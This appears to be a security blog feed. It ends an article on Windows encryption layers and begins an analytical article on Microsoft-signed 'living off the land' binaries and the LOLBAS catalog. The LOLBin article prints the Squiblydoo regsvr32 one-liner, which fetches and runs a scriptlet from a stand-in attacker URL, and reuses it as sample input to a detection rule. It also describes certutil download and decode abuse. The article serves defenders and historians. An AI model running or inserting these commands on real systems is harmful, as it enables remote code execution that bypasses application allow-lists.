Purview labels. From Exchange Online PowerShell (after Connect-IPPSSession), Get-Label enumerates the sensitivity labels published in the tenant, including their encryption settings.

The "what BitLocker on its own buys you" table closes the audit out:

Scenario	BitLocker alone	EFS adds	PDE adds	Purview label adds
Powered-off device at rest	Protected	Same	Same	Same
Device on lock screen, post-boot pre-logon	Plaintext to OS	Plaintext (no logon)	Encrypted, Hello-bound	Encrypted, requires use license
Multi-user on the same device	Plaintext to OS	Per-user wrapping	Per-Hello-user wrapping	Per-policy wrapping
File emailed outside the tenant	Plaintext	Decrypted on SMB / cross-FS copy	Plaintext on cross-protocol egress	Encrypted, travels with file

The four layers map (loosely; this is not a regulatory opinion) to different regulatory expectations. BitLocker is the typical anchor for "data at rest" baselines in HIPAA, PCI DSS, and GDPR Article 32 (security of processing). Purview labels are where cross-organisation handling and Article 30 records-of-processing find a tractable enforcement story, because the policy travels with the data. PDE is the modern interpretation of "user-bound access" for shared devices and pre-logon scenarios. None of these regulatory frameworks names any specific layer; the practitioner's job is to map controls to expectations, not to ship a checklist of vendor features.

{` // Illustrative composition check. Given the per-layer status flags this device // reports, identify which protection gaps remain. Run mentally over your device.

function evaluateLayerCoverage(state) { const gaps = [];

if (!state.bitlockerEnabled) { gaps.push('BitLocker is OFF: volume is plaintext at rest'); } else if (!state.bitlockerHasPIN) { gaps.push('BitLocker is on, but TPM-only: post-boot pre-logon window is open'); }

if (!state.pdeEnabled) { gaps.push('PDE is OFF: per-user pre-logon and post-lock window not closed'); } else if (!state.pdeKnownFoldersOn) { gaps.push('PDE enabled but no known-folder protection: user files not auto-encrypted'); }

if (state.pdeEnabled && state.efsLegacyFilesPresent) { gaps.push('Legacy EFS files coexist with PDE: mutually exclusive per file, migrate carefully'); }

if (!state.purviewLabelsPublished) { gaps.push('No Purview labels published: no travels-with-file protection'); }

if (state.dkeEverywhere) { gaps.push('DKE applied broadly: Microsoft 365 service-side processing will degrade'); }

return gaps.length === 0 ? 'Composition complete: all four layers configured with no obvious conflicts.' : gaps; }

// Example: a modern Entra-joined Windows 11 24H2 Enterprise device with proper config. const exampleDevice = { bitlockerEnabled: true, bitlockerHasPIN: true, pdeEnabled: true, pdeKnownFoldersOn: true, efsLegacyFilesPresent: false, purviewLabelsPublished: true, dkeEverywhere: false }; console.log(evaluateLayerCoverage(exampleDevice)); `}

PowerShell (elevated) on the target device:

manage-bde -status C:
cipher.exe /C "C:\Users\alice\Documents\sample.txt"
# CSP queries via the Settings > Accounts > Access work or school export, or via
# the Intune CSP report for the device, against the nodes listed above.

From an Exchange Online PowerShell session:

Connect-IPPSSession
Get-Label | Format-Table -AutoSize

Composed correctly, those layers give you the threat coverage no single layer can. But the practitioner still has questions.

11. Frequently Asked Questions

Five questions. Each addresses a misconception or operational concern the audit checklist exposes.

No. The two recovery models do not compose. BitLocker's recovery key unwraps the Volume Master Key against the TPM's seal; once the volume is unlocked, every plain NTFS file is readable again. PDE files sit *above* the volume layer, sealed by a DPAPI-NG protector bound to Windows Hello, not to the VMK. The PDE FAQ is explicit that PDE has no key-recovery model analogous to BitLocker's: *"Personal Data Encryption doesn't have a requirement for a backup provider, including OneDrive in Microsoft 365. However, backups are recommended in case the keys used by Personal Data Encryption to protect files are lost"* [@ms-pde-faq]. If the user's Hello credential is irrecoverably reset and there is no second-copy backup of the plaintext, BitLocker recovery does not help. No -- not directly. EFS files are encrypted with a per-file symmetric File Encryption Key (FEK), which is RSA-wrapped to the user's EFS public key (and to one or more Data Recovery Agent public keys). The user's EFS RSA *private* key is stored in `%APPDATA%\Microsoft\Crypto\RSA\\` and is sealed by classic DPAPI from the user's logon secret [@wikipedia-efs]. So the password protects the *private key that unwraps the FEK*, not the file body. The Wikipedia EFS article puts the resulting ceiling sharply: any compromise of the user's password automatically leads to access to that data [@wikipedia-efs]. Partially. On Entra-joined Windows 11 22H2 or later devices with Windows Hello for Business, PDE is the recommended replacement for new per-file encryption scenarios, and Microsoft Learn states the mutual exclusion: PDE and EFS are mutually exclusive on the same file [@ms-pde-faq]. EFS continues to ship -- legacy `$EFS` files still decrypt, the Win32 API surface still works, Group Policy DRA configuration still functions [@ms-efs-win32]. PDE is the forward direction; EFS is the legacy slot. Plan for both during transition. Labels are metadata. A *label that applies encryption* is metadata that triggers the Azure Rights Management service to encrypt the file with a per-content key and embed the wrapped key and policy reference in the file's wire format [@ms-purview-labels]. A label that applies only marking, watermarking, or DLP triggers is policy without encryption. The label itself is a classification; the encryption (if any) is a property attached to the label's settings. Yes, with one caveat. The default modern composition for an Entra-joined Windows 11 24H2 Enterprise device is BitLocker (TPM+PIN) plus PDE (known-folder mode) plus a Purview sensitivity label that applies encryption [@ms-pde-faq] [@ms-purview-labels]. The caveat is the PDE / EFS mutual exclusion -- a given file is either PDE-wrapped or EFS-wrapped, not both [@ms-pde-faq]. So the rule is: BitLocker + (PDE OR EFS, mutually exclusive) + Purview label. That is the maximum legal composition.

The answer the article opened with was the journey, not the destination. The destination is one sentence: three above-BitLocker layers, three protection-key roots, three threat models, by design. EFS exists because some files have to be unreadable to a different person sitting at the keyboard. PDE exists because some files have to be unreadable to the running OS itself, between boot and Hello sign-in. Purview labels exist because some files have to stay encrypted no matter which machine or protocol carries them next.

When you next see a security document that asserts "the data is protected because BitLocker is on," you now know exactly which threats that covers, and which it does not. The four roots compose. They do not compete. The asymmetry -- the very thing that makes the architecture look untidy from a distance -- is what lets each layer do what no other layer can.

Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft's App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith's 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft's four-generation response, and argues the class is permanent.

1. The Four-Line Bypass That Cannot Be Patched

On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in enforce mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.

The command is short enough to memorize:

regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll

Every part of it is normal. regsvr32.exe is the operating system's COM registration utility, shipped in every Windows release since NT 4. The /i:URL switch is documented [@lolbas-regsvr32]: it passes an installation parameter to a COM scriptlet. scrobj.dll is the Microsoft Script Component runtime. The .sct extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.

What is not normal is who controls the URL. When regsvr32.exe fetches that .sct over HTTP and hands it to scrobj.dll, the scriptlet's body runs inside a Microsoft-signed parent process. The /s flag suppresses dialog boxes, /n tells regsvr32 not to call DllRegisterServer, and /u reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it Squiblydoo in its April 28, 2016 threat advisory, and the MITRE ATT&CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about "hipster hackers" and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black's April 28, 2016 threat advisory; tracked by MITRE ATT&CK as sub-technique T1218.010 [@attack-t1218-010]. sequenceDiagram participant User as User shell participant Regsvr32 as regsvr32.exe (signed) participant Scrobj as scrobj.dll (signed) participant Remote as Attacker HTTP server participant JScript as JScript engine User->>Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll Regsvr32->>Scrobj: Load COM scriptlet runtime Scrobj->>Remote: GET /x.sct Remote-->>Scrobj: scriptlet XML with embedded JScript body Scrobj->>JScript: Evaluate script body in-process JScript-->>User: Arbitrary code runs as the user

The reason this bypass is famous is not the technique. It is the invariance. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith's command is the security industry's longest-lived working proof-of-concept against the defaults of a flagship operating system.

A defender watching this from an EDR console sees a specific shape: a parent process (often cmd.exe, explorer.exe, an Office app, or a script host) spawns regsvr32.exe, and the command line contains /i:http. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a Sysmon Event ID 1 (process create) rule.

{` // Simulated EDR rule: flag any child regsvr32.exe whose command line // references a remote URL. This is the canonical detection shape that // SOC analysts have been writing for ten years. function isSquiblydoo(event) { const child = (event.image || '').toLowerCase(); const cmd = (event.commandLine || '').toLowerCase(); if (!child.endsWith('\\regsvr32.exe')) return false; // /i:http or /i:https with a URL argument is the load-bearing signal. return /\/i:https?:\/\//.test(cmd); }

const sample = { image: 'C:\\Windows\\System32\\regsvr32.exe', parentImage: 'C:\\Windows\\System32\\cmd.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Squiblydoo match:', isSquiblydoo(sample)); `}

The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world's most-deployed desktop operating system? Second: is regsvr32 an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.

2. Five Years From Coined Phrase to Catalog

When did living off the land become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 ("All in the Family"), Christopher Campbell and Matt Graeber gave a talk titled Living off the Land: A Minimalist's Guide to Windows Post-Exploitation [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (wmic, netsh, powershell, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.

The phrase entered defender vocabulary, but the catalog did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith's April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil /U bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added dnx.exe on November 17, 2016 [@enigma0x3-dnx] and rcsi.exe four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.

In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical Subverting Trust in Windows writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named misplaced trust as the mismatch between the binary is signed by Microsoft and the binary's behavior is trustworthy when handed attacker-controlled arguments [@specterops-subverting-trust]. The same year, Symantec's ISTR special report brought "living off the land" into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.

The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project's origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster's local timezone), Philip Goh proposed the acronym LOLBins -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster's local timezone), Jimmy Bayne proposed LOLScripts for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between LOLBin and LOLBas; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at 10:04:50 UTC, Moe created the GitHub repository api0cradle/LOLBAS [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor LOLBAS-Project/LOLBAS [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.

The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article's prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.

Two more 2018 events matter. On August 17, 2018, Matt Graeber posted Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if Microsoft.Workflow.Compiler.exe was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog's growth over the next eight years.

The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled #LOLBins -- Nothing to LOL about! [@derbycon8-moe]. The LOLBAS README itself names this as the project's foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project's own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.

timeline title LOLBin coinage and catalog, 2013 to 2018 2013-09-27 : DerbyCon 3 Campbell and Graeber coin "living off the land" 2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet) 2016-11 : Matt Nelson publishes dnx and rcsi bypasses 2017 : Graeber and Smith speak at BlueHat IL 2017 2018-03-01 : Philip Goh proposes "LOLBins" on Twitter (UTC) 2018-03 : Graeber and Christensen present Subverting Trust in Windows at TROOPERS 2018-04-13 : Jimmy Bayne proposes "LOLScripts" (UTC) 2018-04-15 : Oddvar Moe poll ratifies "LOLBin" with 69 percent 2018-04-18 : api0cradle/LOLBAS GitHub repo created 2018-06-08 : LOLBAS-Project organization repo created 2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe 2018-10 : Oddvar Moe DerbyCon 8 "#LOLBins -- Nothing to LOL about!" A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has "extra unexpected functionality" useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].

Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was naming the class. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.

3. The Two Trust Axes Microsoft Decoupled in 1996

Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.

Start with the 1996 trade-off. Authenticode shipped with Internet Explorer 3.0 to answer one question: was this code signed by a party I trust? [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable's hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.

Microsoft's code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary's hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].

Notice what Authenticode does not answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary's documented behavior includes "execute attacker-controlled JScript fetched over HTTP." Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.

Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces publisher rules, path rules, and hash rules as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker's default rule template admits every executable under %windir% or %programfiles% via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft's tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft's own documentation now describes AppLocker as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview]; App Control for Business is the modern successor.

Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of mshtml.dll or cmd.exe. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker's default rule was, by any pragmatic measure, the right call.

But that call inherits Authenticode's blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary does. The two systems live on orthogonal trust axes:

flowchart LR A["Authenticode signing
Who signed this binary?"] --> B["AppLocker policy
Is this publisher allowed?"] B --> C["Binary loads and runs"] C --> D["Runtime behavior
What does this binary do with arguments?"] D -. unmeasured .-> E["Attacker-controlled script,
DLL, XOML, or URL is executed"] style D stroke:#888,stroke-dasharray: 5 5 style E stroke:#c33,stroke-width:2px

The point of the diagram is the dotted edge. There is no measurement of D before C. The control plane stops at the signature check, and the runtime behavior is the attacker's playground. That gap is exactly where Squiblydoo lives. regsvr32.exe is Microsoft-signed (Authenticode says yes). It is on the default AppLocker publisher rule (AppLocker says yes). It has a documented /i:URL switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.

Key idea: Signature trust answers who signed this?. It cannot answer what does this binary do at runtime?. The LOLBin class is the runtime consequence of treating those as the same question.

This is the structural error -- and "error" is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.

Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]

The structural argument from this section is the rest of the article's load-bearing premise. If signature trust is decoupled from behavior trust by construction, then for every Microsoft-signed binary that exposes a "load and execute arbitrary script, DLL, or payload" surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.

4. The LOLBAS Catalog as a Data Structure

Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an artifact the defender community built, not just a list of binaries.

The repository at LOLBAS-Project/LOLBAS [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:

Directory	Count	What it holds
`yml/OSBinaries/`	130	Native Windows-shipped executables (`regsvr32`, `rundll32`, `mshta`, `certutil`, ...)
`yml/OtherMSBinaries/`	77	Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)
`yml/OSLibraries/`	17	DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)
`yml/OSScripts/`	10	Microsoft-shipped scripts (the LOLScript subclass)
Total	234	207 binaries plus 27 libraries and scripts

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.

The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.

Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are Name, Description, Author, Created, one or more Commands blocks, Full_Path, Code_Sample, Detection, Resources, and Acknowledgements. Inside each Commands block sits the function taxonomy that defenders read first.

flowchart TD Entry["YAML entry: Name
Description, Author, Created"] Entry --> Commands["Commands[]"] Commands --> C1["Command 1: command-line invocation"] Commands --> C2["Command 2: command-line invocation"] C1 --> Use["Use: plain-English description"] C1 --> Category["Category: Execute, Download, Compile, AWL Bypass, ..."] C1 --> Priv["Privileges: User or Admin"] C1 --> Mitre["MitreID: T1218.010, T1127.001, ..."] Entry --> Paths["Full_Path[]: where the binary lives on disk"] Entry --> Detect["Detection[]: vendor-curated detection links"] Entry --> Refs["Resources[]: primary disclosures and writeups"] Entry --> Ack["Acknowledgements[]: credited researchers"]

The function taxonomy is a closed set of eleven categories: Execute, Download, Copy, Encode, Decode, Compile, Credentials, AWL Bypass, AWL Bypass + UAC Bypass, Reconnaissance, and Dump. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.

The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra 'unexpected' functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]

The two clauses do most of the project's editorial work. The first clause -- Microsoft-signed, native or downloaded from Microsoft -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else's problem (probably an EV-certificate review). The second clause -- extra unexpected functionality, useful to an APT or red team -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (cmd.exe running a script is not a LOLBin; regsvr32.exe fetching a script from http:// is).

Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris "Lopi" Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at lolbas-project.github.io exposes the same data as a browsable per-binary site [@lolbas-frontend].

The LOLBAS frontend at lolbas-project.github.io is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.

The catalog's status as a data structure is what distinguishes it from a textbook chapter. Splunk's Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA's joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.

Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.

5. The Canonical Eight: A Field Guide

Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft's Recommended Block Rules either deny by default or pointedly do not.

Binary	First disclosed	Abuse primitive	MITRE ATT&CK	On App Control deny list?
`regsvr32.exe`	Casey Smith, 2016-04-19	Squiblydoo: remote `.sct` via `/i:URL`	T1218.010 [@attack-t1218-010]	No
`rundll32.exe`	Multiple disclosures	Load and invoke any exported DLL function	T1218.011 [@attack-t1218-011]	No
`mshta.exe`	Pre-LOLBAS, IE5 era	Run JScript or VBScript from `.hta` file or URL	T1218.005 [@attack-t1218-005]	Yes
`certutil.exe`	Pre-LOLBAS folklore	`-urlcache` download, `-decode` payload decoder	T1140, T1105	No
`bitsadmin.exe`	Pre-LOLBAS folklore	BITS-channel download primitive	T1197 [@attack-t1197]	No
`msbuild.exe`	Casey Smith, 2016	Inline-task compile-and-run C#	T1127.001 [@attack-t1127]	Yes, with caveat
`installutil.exe`	Casey Smith, 2016	`/U` invokes `[RunInstaller(true)]` class	T1218.004 [@attack-t1218-004]	Yes (unconditional)
`Microsoft.Workflow.Compiler.exe`	Matt Graeber, 2018-08-17	XOML-driven C#/VB.NET compile-and-execute	T1127 [@attack-t1127]	Yes

The table looks orderly. The pattern inside it is not.

regsvr32.exe is the article's opening case, the most famous LOLBin in history, and -- conspicuously -- not on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. regsvr32 is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft's choice is to detect Squiblydoo via behavioral signals (parent-child anomaly, /i:http argument) rather than deny the binary outright.

The conspicuous absence of regsvr32.exe from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.

rundll32.exe is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying rundll32.exe would render the desktop nearly inoperable. It is, like regsvr32, on the detect, do not deny side of the line.

mshta.exe is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires mshta.exe to be functional for routine operation [@ms-bypass-rules].

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary's reason for existing was Internet Explorer's HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.

certutil.exe is one of the field's quiet recurring offenders. Two switches drive most of its abuse: -urlcache -split -f downloads an arbitrary URL to disk, and -decode decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. certutil is not on the App Control deny list.

bitsadmin.exe and its PowerShell sibling Start-BitsTransfer drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. bitsadmin.exe is not on the deny list either.

msbuild.exe is the most interesting case in the table because Microsoft's response is published verbatim and is context-dependent. The Recommended Block Rules entry for msbuild.exe reads:

If you're using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]

That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether msbuild.exe is a LOLBin; the answer depends on whether the endpoint is a developer workstation.

installutil.exe is the .NET Framework installer-class entry-point runner. Casey Smith's 2016 disclosure showed that installutil.exe /U mybinary.exe invokes any class decorated with [System.ComponentModel.RunInstaller(true)], regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. installutil.exe is on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to msbuild.exe's development-context caveat. That installutil.exe is denied by default and the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.

